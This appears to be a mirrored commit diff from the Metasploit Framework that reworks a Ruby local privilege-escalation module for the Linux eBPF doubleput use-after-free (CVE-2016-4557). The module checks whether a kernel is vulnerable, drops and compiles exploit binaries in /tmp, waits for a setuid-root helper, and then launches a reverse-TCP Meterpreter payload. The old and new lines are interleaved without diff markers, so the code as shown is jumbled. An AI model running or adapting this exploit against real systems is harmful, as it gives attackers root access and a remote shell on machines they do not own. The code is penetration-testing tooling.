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https://github.com/rapid7/metasploit-framework
synced 2024-09-04 20:18:27 +02:00
Fix bpf_priv_esc module
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@ -7,18 +7,27 @@ class MetasploitModule < Msf::Exploit::Local
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Rank = GoodRanking
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include Msf::Post::File
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include Msf::Post::Linux::Priv
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include Msf::Post::Linux::System
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include Msf::Post::Linux::Kernel
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super( update_info( info, {
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'Name' => 'Linux BPF Local Privilege Escalation',
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def initialize(info = {})
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super( update_info( info,
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'Name' => 'Linux BPF doubleput UAF Privilege Escalation',
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'Description' => %q{
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Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled
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sysctl is not set to 1, BPF can be abused to priv escalate.
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Ubuntu 16.04 has all of these conditions met.
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Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)
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does not properly reference count file descriptors, resulting
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in a use-after-free, which can be abused to escalate privileges.
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The target system must be compiled with CONFIG_BPF_SYSCALL
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and must not have kernel.unprivileged_bpf_disabled set to 1.
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Ubuntu kernels prior to 4.4.0-22-generic are vulnerable.
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This module has been tested successfully on Ubuntu 16.04 (x64)
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kernel 4.4.0-21-generic.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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@ -26,15 +35,19 @@ class MetasploitModule < Msf::Exploit::Local
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'jannh@google.com', # discovery
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'h00die <mike@shorebreaksecurity.com>' # metasploit module
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],
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'Platform' => [ 'linux' ],
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'Arch' => [ ARCH_X86, ARCH_X64 ],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'Platform' => ['linux'],
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'Arch' => [ARCH_X86, ARCH_X64],
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'SessionTypes' => ['shell', 'meterpreter'],
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'DisclosureDate' => '2016-05-04',
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'Privileged' => true,
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'References' =>
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[
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[ 'CVE', '2016-4557' ],
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[ 'EDB', '39772' ],
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[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ],
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[ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ]
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['BID', '90309'],
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['CVE', '2016-4557'],
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['EDB', '39772'],
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['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808'],
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['URL', 'https://usn.ubuntu.com/2965-1/'],
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['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7']
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],
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'Targets' =>
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[
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@ -43,100 +56,190 @@ class MetasploitModule < Msf::Exploit::Local
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],
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'DefaultOptions' =>
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{
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'payload' => 'linux/x64/meterpreter/reverse_tcp',
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'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
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'PrependFork' => true,
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'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
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},
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'DefaultTarget' => 1,
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'DisclosureDate' => 'May 04 2016',
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'Privileged' => true
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}
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))
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'Notes' =>
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{
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'AKA' =>
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[
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'doubleput.c'
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]
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},
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'DefaultTarget' => 1))
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register_options [
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OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
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OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ])
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OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
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OptInt.new('MAXWAIT', [true, 'Max time to wait for decrementation in seconds', 120])
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]
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register_advanced_options [
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OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
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OptBool.new('ForceExploit', [false, 'Override check result', false]),
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OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
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]
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end
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def base_dir
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datastore['WritableDir'].to_s
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end
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def exploit_data(file)
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::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', file)
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end
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def upload(path, data)
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print_status "Writing '#{path}' (#{data.size} bytes) ..."
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rm_f path
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write_file path, data
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register_file_for_cleanup path
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end
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def upload_and_chmodx(path, data)
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upload path, data
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chmod path
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end
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def live_compile?
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return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
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return true if has_prereqs?
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unless datastore['COMPILE'].eql? 'Auto'
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fail_with Failure::BadConfig, 'Prerequisites are not installed. Compiling will fail.'
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end
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end
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def has_prereqs?
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def check_libfuse_dev?
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lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
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if lib.include?('install')
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vprint_good('libfuse-dev is installed')
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return true
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else
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print_error('libfuse-dev is not installed. Compiling will fail.')
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return false
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end
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end
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def check_gcc?
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if has_gcc?
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vprint_good('gcc is installed')
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return true
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else
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print_error('gcc is not installed. Compiling will fail.')
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return false
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end
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end
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def check_pkgconfig?
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lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
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if lib.include?('install')
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vprint_good('pkg-config is installed')
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return true
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else
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print_error('pkg-config is not installed. Exploitation will fail.')
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return false
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end
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end
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return check_libfuse_dev? && check_gcc? && check_pkgconfig?
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end
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def upload_and_compile(path, data, gcc_args='')
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upload "#{path}.c", data
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gcc_cmd = "gcc -o #{path} #{path}.c"
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if session.type.eql? 'shell'
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gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
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end
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unless gcc_args.to_s.blank?
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gcc_cmd << " #{gcc_args}"
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end
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output = cmd_exec gcc_cmd
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unless output.blank?
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print_error output
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fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
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end
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register_file_for_cleanup path
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chmod path
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end
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def check
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def check_config_bpf_syscall?
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release = kernel_release
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if Gem::Version.new(release.split('-').first) < Gem::Version.new('4.4') ||
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Gem::Version.new(release.split('-').first) >= Gem::Version.new('4.5.5')
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vprint_error "Kernel version #{release} is not vulnerable"
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return CheckCode::Safe
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end
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# Ubuntu kernel version check
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if release =~ /^4\.4\.0-(\d+)-generic/
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if $1.to_i > 21
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vprint_error "Kernel version #{release} is not vulnerable"
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return CheckCode::Safe
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end
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end
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vprint_good "Kernel version #{release} appears to be vulnerable"
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lib = cmd_exec('dpkg --get-selections | grep ^fuse').to_s
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unless lib.include?('install')
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print_error('fuse package is not installed. Exploitation will fail.')
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return CheckCode::Safe
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end
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vprint_good('fuse package is installed')
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fuse_mount = "#{base_dir}/fuse_mount"
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if directory? fuse_mount
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vprint_error("#{fuse_mount} should be unmounted and deleted. Exploitation will fail.")
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return CheckCode::Safe
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end
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vprint_good("#{fuse_mount} doesn't exist")
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config = kernel_config
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if config.nil?
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vprint_error 'Could not retrieve kernel config'
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return
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return CheckCode::Unknown
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end
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unless config.include? 'CONFIG_BPF_SYSCALL=y'
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vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
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return false
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return CheckCode::Safe
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end
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vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
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true
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end
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def check_kernel_disabled?
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if unprivileged_bpf_disabled?
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vprint_error 'Unprivileged BPF loading is not permitted'
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return false
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return CheckCode::Safe
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end
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vprint_good 'Unprivileged BPF loading is permitted'
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true
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end
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def check_fuse?()
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lib = cmd_exec('dpkg --get-selections | grep ^fuse')
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if lib.include?('install')
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vprint_good('fuse is installed')
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return true
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else
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print_error('fuse is not installed. Exploitation will fail.')
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return false
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end
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end
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def mount_point_exists?()
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if directory?('/tmp/fuse_mount')
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print_error('/tmp/fuse_mount should be unmounted and deleted. Exploitation will fail.')
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return false
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else
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vprint_good('/tmp/fuse_mount doesn\'t exist')
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return true
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end
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end
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if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?()
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CheckCode::Appears
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else
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CheckCode::Safe
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end
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end
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def exploit
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unless check == CheckCode::Appears
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unless datastore['ForceExploit']
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fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
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end
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print_warning 'Target does not appear to be vulnerable'
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end
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def upload_and_compile(filename, file_path, file_content, compile=nil)
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rm_f "#{file_path}"
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if not compile.nil?
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rm_f "#{file_path}.c"
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vprint_status("Writing #{filename} to #{file_path}.c")
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write_file("#{file_path}.c", file_content)
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register_file_for_cleanup("#{file_path}.c")
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output = cmd_exec(compile)
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if output != ''
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print_error(output)
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fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
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if is_root?
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unless datastore['ForceExploit']
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fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
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end
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else
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vprint_status("Writing #{filename} to #{file_path}")
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write_file(file_path, file_content)
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end
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cmd_exec("chmod +x #{file_path}");
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register_file_for_cleanup(file_path)
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unless writable? base_dir
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fail_with Failure::BadConfig, "#{base_dir} is not writable"
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end
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if nosuid? base_dir
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fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
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end
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doubleput = %q{
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@ -389,120 +492,68 @@ class MetasploitModule < Msf::Exploit::Local
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}
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}
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hello_filename = 'hello'
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hello_path = "#{datastore['WritableDir']}/#{hello_filename}"
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doubleput_file = "#{datastore['WritableDir']}/doubleput"
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suidhelper_filename = 'suidhelper'
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suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}"
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payload_filename = rand_text_alpha(8)
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payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
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@hello_name = 'hello'
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hello_path = "#{base_dir}/#{@hello_name}"
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@doubleput_name = 'doubleput'
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doubleput_path = "#{base_dir}/#{@doubleput_name}"
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@suidhelper_path = "#{base_dir}/suidhelper"
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payload_path = "#{base_dir}/.#{rand_text_alphanumeric(10..15)}"
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if check != CheckCode::Appears
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fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
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end
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if live_compile?
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vprint_status 'Live compiling exploit on system...'
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def has_prereqs?()
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def check_libfuse_dev?()
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lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
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if lib.include?('install')
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vprint_good('libfuse-dev is installed')
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return true
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upload_and_compile(hello_path, hello, '-Wall -std=gnu99 `pkg-config fuse --cflags --libs`')
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upload_and_compile(doubleput_path, doubleput, '-Wall')
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upload_and_compile(@suidhelper_path, suid_helper, '-Wall')
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else
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print_error('libfuse-dev is not installed. Compiling will fail.')
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return false
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end
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end
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def check_gcc?()
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gcc = cmd_exec('which gcc')
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if gcc.include?('gcc')
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vprint_good('gcc is installed')
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return true
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else
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print_error('gcc is not installed. Compiling will fail.')
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return false
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end
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end
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def check_pkgconfig?()
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lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
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if lib.include?('install')
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vprint_good('pkg-config is installed')
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return true
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else
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print_error('pkg-config is not installed. Exploitation will fail.')
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return false
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end
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end
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return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?()
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vprint_status 'Dropping pre-compiled exploit on system...'
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upload_and_chmodx(hello_path, exploit_data('hello'))
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upload_and_chmodx(doubleput_path, exploit_data('doubleput'))
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upload_and_chmodx(@suidhelper_path, exploit_data('suidhelper'))
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end
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compile = false
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if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
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if has_prereqs?()
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compile = true
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vprint_status('Live compiling exploit on system')
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else
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vprint_status('Dropping pre-compiled exploit on system')
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end
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end
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vprint_status 'Uploading payload...'
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upload_and_chmodx(payload_path, generate_payload_exe)
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if compile == false
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# doubleput file
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path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput')
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fd = ::File.open( path, "rb")
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doubleput = fd.read(fd.stat.size)
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fd.close
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# hello file
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path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello')
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fd = ::File.open( path, "rb")
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hello = fd.read(fd.stat.size)
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fd.close
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# suidhelper file
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path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper')
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fd = ::File.open( path, "rb")
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suid_helper = fd.read(fd.stat.size)
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fd.close
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print_status('Launching exploit. This may take up to 120 seconds.')
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# overwrite with the hardcoded variable names in the compiled versions
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payload_filename = 'AyDJSaMM'
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payload_path = '/tmp/AyDJSaMM'
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end
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# make our substitutions so things are dynamic
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suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
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"return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
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doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/,
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'exit(0);')
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print_status('Writing files to target')
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cmd_exec("cd #{datastore['WritableDir']}")
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upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil)
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upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil)
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upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil)
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upload_and_compile('payload', payload_path, generate_payload_exe)
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print_status('Starting execution of priv esc. This may take about 120 seconds')
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cmd_exec(doubleput_file)
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register_dir_for_cleanup "#{base_dir}/fuse_mount"
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cmd_exec "cd #{base_dir}; #{doubleput_path} & echo "
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sec_waited = 0
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until sec_waited > datastore['MAXWAIT'] do
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Rex.sleep(1)
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Rex.sleep(5)
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# check file permissions
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if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root')
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print_good('got root, starting payload')
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print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target')
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print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target')
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print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target')
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cmd_exec("#{suidhelper_path}")
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if setuid? @suidhelper_path
|
||||
print_good("Success! set-uid root #{@suidhelper_path}")
|
||||
cmd_exec "echo '#{payload_path} & exit' | #{@suidhelper_path} "
|
||||
return
|
||||
end
|
||||
sec_waited +=1
|
||||
sec_waited += 5
|
||||
end
|
||||
print_error "Failed to set-uid root #{@suidhelper_path}"
|
||||
end
|
||||
|
||||
def cleanup
|
||||
cmd_exec "killall #{@hello_name}"
|
||||
cmd_exec "killall #{@doubleput_name}"
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
# if we don't /bin/bash here, our payload times out
|
||||
# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
|
||||
# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died
|
||||
session.shell_command_token('/bin/bash')
|
||||
# remove root owned SUID executable and kill running exploit processes
|
||||
if session.type.eql? 'meterpreter'
|
||||
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
|
||||
session.fs.file.rm @suidhelper_path
|
||||
session.sys.process.execute '/bin/sh', "-c 'killall #{@doubleput_name}'"
|
||||
session.sys.process.execute '/bin/sh', "-c 'killall #{@hello_name}'"
|
||||
session.fs.file.rm "#{base_dir}/fuse_mount"
|
||||
else
|
||||
session.shell_command_token "rm -f '#{@suidhelper_path}'"
|
||||
session.shell_command_token "killall #{@doubleput_name}"
|
||||
session.shell_command_token "killall #{@hello_name}"
|
||||
session.shell_command_token "rm -f '#{base_dir}/fuse_mount'"
|
||||
end
|
||||
ensure
|
||||
super
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue
Block a user